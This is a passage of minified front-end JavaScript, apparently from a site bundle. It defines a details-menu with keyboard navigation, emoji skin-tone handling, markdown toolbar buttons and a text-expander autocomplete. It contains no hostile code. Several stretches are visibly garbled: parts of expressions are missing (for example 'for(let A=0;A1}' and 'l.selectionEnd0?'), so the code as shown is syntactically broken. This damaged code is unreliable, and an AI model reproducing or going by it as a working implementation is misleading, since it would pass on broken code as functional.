i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await 